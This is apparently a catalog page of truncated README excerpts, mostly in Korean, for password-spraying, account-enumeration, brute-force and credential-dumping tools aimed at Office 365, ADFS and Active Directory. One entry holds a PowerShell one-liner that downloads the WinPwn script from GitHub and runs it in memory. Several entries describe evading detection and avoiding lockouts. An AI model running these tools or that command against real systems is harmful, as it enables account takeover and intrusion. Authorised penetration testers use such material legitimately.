o365spray

o365spray o365spray는 Microsoft Office 365O365를 대상으로 하는 사용자명 열거 및 비밀번호 스프레이 도구입니다. 이 도구는 감사의 글에서 언급된 연구자들이 발견하고 식별한 다양한 열거 및 스프레이 기술을 재구현합니다. 교육, 승인 및/또는 연구 목적으로만 사용하세요. 경고: Autologon, oAuth2 및 RST 사용자 열거 모듈은 사용자당 한 번의 인증 시도를 제출하여 작동합니다. 모듈을 단일 실행에서 비밀번호 스프레이와 함께 실행하면, o365spray는 비밀번호 스프레이를 수행하기 전...

Oh365UserFinder

Oh365 User Finder v1.1.2 Oh365UserFinder는 계정 잠금 위험 없이 유효한 o365 계정 및 도메인을 식별하는 데 사용됩니다. 이 도구는 응답을 분석하여 "IfExistsResult" 플래그가 null인지 아닌지 확인하고, 사용자가 유효할 경우 적절히 응답합니다. 또한 응답을 기반으로 오탐을 식별하려고 시도하며, 스로틀링 값이 재설정될 때까지 대기 시간을 자동으로 생성하거나, 사용자에게 시도 간 타임아웃을 늘리도록 경고합니다. Oh365UserFinder는 -d 또는 --domain 플래그를 사용하...

spraycharles

Spraycharles hey, yo 내 느낌은 spraycharles 같아 - Chiddy Bang 느리고 낮은 속도로 비밀번호를 스프레이하는 도구로, 긴 시간 동안 일정 간격으로 스프레이하도록 설계되었습니다. Office365, OWA, EWS, Okta, ADFS, Cisco SSL VPN, Citrix Netscaler, Sonicwall, NTLM over HTTP, SMB용 스프레이 플러그인이 포함되어 있습니다. @sprocketed님이 작성한 관련 블로그 게시물에서 NTLM over HTTP, Exchange We...

TeamFiltration

TeamFiltration TeamFiltration은 O365 EntraID 계정을 열거, 스프레이, 유출, 백도어링하기 위한 크로스 플랫폼 프레임워크입니다. TeamFiltration의 작동 방식에 대한 소개는 TeamFiltration 위키 페이지를, 시작 방법은 Quick Start Guide를 참조하십시오! 이 도구는 2021년 1월부터 TrustedSec에서 내부적으로 사용되었으며, DefCON30에서 제 발표 Taking a Dump In The Cloud에서 공개적으로 출시되었습니다. 다운로드 Linux,...

spraygen

Spraygen 패스워드 스프레이를 위한 비밀번호 목록 생성기 - 유용한 기능이 미리 내장됨 버전 1.7 월, 계절, 연도, 스포츠 팀NFL, NBA, MLB, NHL, 스포츠 점수, "Password", 그리고 지정된 크기의 반복 가능한 키스페이스의 순열을 생성합니다. 모든 순열은 일반적인 속성예: "!" 또는 ""이 추가/접두사로 붙거나, 사용자 지정 구분자예: "." 또는 ""가 포함되어 생성됩니다. 일반적인 문자 대체 옵션예: 모든 A - 4/@ 변경 사용자는 쉼표로 구분된 문자 목록을 사용하여 속성과 구분자를 확장할 ...

chalumeau

Chalumeau Chalumeau is automated,extendable and customizable credential dumping tool based on powershell and python. Main Features Write your own Payloads In-Memory execution Extract Password List Dashboard reporting / Web Interface Parsing Mimikatz Dumping Tickets Screenshots Known Issues Parsin...

CrackQL

CrackQL CrackQL은 GraphQL 비밀번호 무차별 대입brute-force 및 퍼징 유틸리티입니다. CrackQL은 취약한 속도 제한rate-limit 및 비용 분석 제어를 악용하여 자격 증명을 무차별 대입하고 작업을 퍼징하는 다목적 GraphQL 침투 테스트 도구입니다. 목차 작동 방식 공격 사용 사례 방어 회피 비밀번호 스프레이 무차별 대입 이중 인증 OTP 우회 사용자 계정 열거 안전하지 않은 직접 객체 참조 일반 퍼징 입력 설치 구성 관리자 언급 작동 방식 CrackQL은 단일 GraphQL 쿼리 또는...

RDWAtool

Microsoft Remote Desktop Web Access RDWA 애플리케이션에서 정보 추출, 스프레이 및 무차별 대입 비밀번호 공격을 수행하는 올인원 파이썬 도구입니다. 이 파이썬 도구는 Microsoft Remote Desktop Web Access RDWA 애플리케이션에서 원격 서버의 FQDN, FQDN으로부터 추출한 내부 AD 도메인 이름, 원격 Windows Server 버전 등 다양한 정보를 추출할 수 있습니다. 사용법 $ rdwatool -h / / \ | / / | / / / / / // / / / / |...

MSOLSpray

MSOLSpray Microsoft Online 계정Azure/O365을 위한 비밀번호 스프레이 도구입니다. 이 스크립트는 사용자 자격 증명이 유효한지, 계정에 MFA가 활성화되어 있는지, 테넌트가 존재하지 않는지, 사용자가 존재하지 않는지, 계정이 잠겼는지, 또는 계정이 비활성화되었는지 기록합니다. 계정이 잠기지 않도록 매우 주의하십시오! 왜 또 다른 스프레이 도구인가? 네, O365/Azure를 위한 다른 비밀번호 스프레이 도구들이 있다는 것을 알고 있습니다. 이 도구의 주요 차이점은 유효한 비밀번호를 찾는 것뿐만 아니라...

msprobe

msprobe About Installing Usage Examples Coming Soon Acknowledgements About Finding all things on-prem Microsoft for password spraying and enumeration. The tool will used a list of common subdomains associated with your target apex domain to attempt to discover valid instances of on-prem Microsoft...

msprobe

msprobe 소개 설치 사용법 예제 곧 출시 예정 감사의 글 소개 온프레미스 Microsoft의 모든 것을 찾아 패스워드 스프레이 및 열거에 사용합니다. 이 도구는 대상 최상위 도메인과 관련된 일반적인 서브도메인 목록을 사용하여 유효한 온프레미스 Microsoft 솔루션 인스턴스를 발견하려고 시도합니다. 도구 실행 스크린샷은 아래와 같습니다: 설치 pipx를 사용하여 프로젝트를 설치하세요: pipx install git+https://github.com/puzzlepeaches/msprobe.git 사용법 이 도구에는 온프레...

TREVORspray

TREVORspray 2.0 TREVORspray는 스레딩, SSH 프록시, 전리품 모듈 등을 갖춘 모듈형 비밀번호 스프레이 도구입니다! 제작: @thetechr0mancer 설치: pip install git+https://github.com/blacklanternsecurity/trevorproxy pip install git+https://github.com/blacklanternsecurity/trevorspray 함께 제공되는 블로그 포스트에서 재미있는 글과 멋진 데모를 확인하세요! 기능 스레드, 많은 스레드 여러 모...

Invoke-CleverSpray

Invoke-CleverSpray Active Directory 사용자의 현재 및 이전 비밀번호를 감지하는 비밀번호 스프레이 스크립트 by @flelievre 옵션: -Password: 스프레이할 비밀번호. -PasswordFile: 스프레이할 비밀번호 목록이 포함된 파일 경로. -Username: 대상 사용자의 samAccountName. -UsernamesFile: 대상 samAccountName 목록이 포함된 파일 경로. -Domain: 사용자를 쿼리할 도메인, 기본값은 현재 도메인. -Limit: 'badPwdCount...

Spray

Spray Active Directory 자격 증명을 위한 비밀번호 스프레이 도구, 제이콥 윌킨Greenwolf 제작 시작하기 이 지침은 Spray 사용을 위한 요구 사항 및 방법을 안내합니다. 사전 요구 사항 모든 요구 사항은 Kali Linux에 사전 설치되어 있습니다. 다른 배포판이나 Mac에서 실행하려면 apt-get 또는 brew를 사용하여 curlOWA 및 Lync과 rpcclientSMB가 설치되어 있는지 확인하세요. rpcclient는 macOS에서 사용할 수 없으므로 SMB 스프레이는 작동하지 않습니다...

Pentest-Tools-Collection

Pentest-Tools-Collection Active Directory AMSI https://amsi.fail/ Colecciones de herramientas WinPwn https://github.com/S3cur3Th1sSh1t/WinPwn Import-Module .\WinPwn.ps1 iexnew-object net.webclient.downloadstring'https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1' Ghostpack...

cerbrutus

Cerbrutus Python으로 작성된 모듈식 무차별 대입 도구로, SSH 및 FTP그리고 가까운 미래에 다른 네트워크 서비스에 대한 매우 빠른 패스워드 스프레이를 위해 설계되었습니다. 곧 출시 예정: SMB, HTTPs POST, HTTPs GET, HTTP BASIC AUTH 테스트 및 기여에 감사드립니다: @0dayctf, Rondons, Enigma, 001 설치: cd /opt git clone https://github.com/Cerbrutus-BruteForcer/cerbrutus 사용법: python3...

SharpHose

개요 SharpHose는 C으로 작성된 암호 스프레이 도구로, 빠르고 안전하며 Cobalt Strike의 execute-assembly를 통해 사용할 수 있도록 설계되었습니다. 이 도구는 도메인 가입 및 비가입 컨텍스트를 사용하여 Active Directory와 유연하게 상호작용할 수 있는 방법을 제공하며, 특정 도메인 및 도메인 컨트롤러를 대상으로 지정할 수도 있습니다. SharpHose는 계정 잠금을 방지하기 위해 세분화된 암호 정책을 포함한 도메인 암호 정책을 고려합니다. 세분화된 암호 정책은 해당 정책이 적용되는 사용자...

adfsbrute

adfsbrute Active Directory Federation Services ADFS에 대한 자격 증명을 테스트하는 스크립트로, 조직의 ADFS URL을 계산하고 비밀번호 스프레이 또는 무차별 대입 공격을 허용합니다. 주요 아이디어는 각 테스트 사이에 무작위로 긴 지연 시간을 두고 프록시 목록 또는 Tor를 사용하여 블루팀의 탐지를 더 어렵게 하는 비밀번호 스프레이 공격을 수행하는 것입니다. 무차별 대입 공격도 가능하며, username:password 형식예: Pwndb에서 가져온의 자격 증명을 테스트할 수도 있습니다...

adfsbrute

adfsbrute A script to test credentials against Active Directory Federation Services ADFS, calculating the ADFS url of an organization and allowing password spraying or bruteforce attacks. The main idea is carrying out password spraying attacks with a random and high delay between each test and...

automato

automato.rb automato는 네이티브 LDAP 라이브러리를 사용하여 다양한 디렉터리 객체의 수집 및 열거를 자동화합니다. 이는 내부 침투 테스트 중에 매우 유용합니다. automato는 또한 비밀번호 스프레이 공격을 수행하고, 사용자가 여러 시스템에 대해 로컬 관리자인지 식별할 수 있습니다. 증거 보존을 위해 출력 파일이 자동으로 생성됩니다. 사용법 $ ruby automato.rb automato v2.0 Written by: Sanjiv Kawa Twitter: @kawabungah Commands:...